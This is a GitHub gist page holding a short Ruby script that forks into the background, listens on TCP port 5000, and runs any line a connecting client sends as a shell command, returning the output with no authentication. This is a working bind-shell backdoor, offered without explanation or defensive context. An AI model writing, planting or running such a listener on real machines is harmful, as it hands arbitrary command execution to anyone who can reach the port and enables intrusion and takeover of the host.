Skip to content

Instantly share code, notes, and snippets.

@karmatr0n
Created March 17, 2015 17:39
Show Gist options
  • Save karmatr0n/547762628d4e83711a22 to your computer and use it in GitHub Desktop.
Save karmatr0n/547762628d4e83711a22 to your computer and use it in GitHub Desktop.
require 'socket'
server = TCPServer.new "5000"
job = fork do
loop do
Thread.start(server.accept) do |client|
client.print "-> "
cmd = client.gets
IO.popen(cmd.to_s.chomp!,"r") {|io| client.print io.read }
client.close
end
end
end
Process.detach(job)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment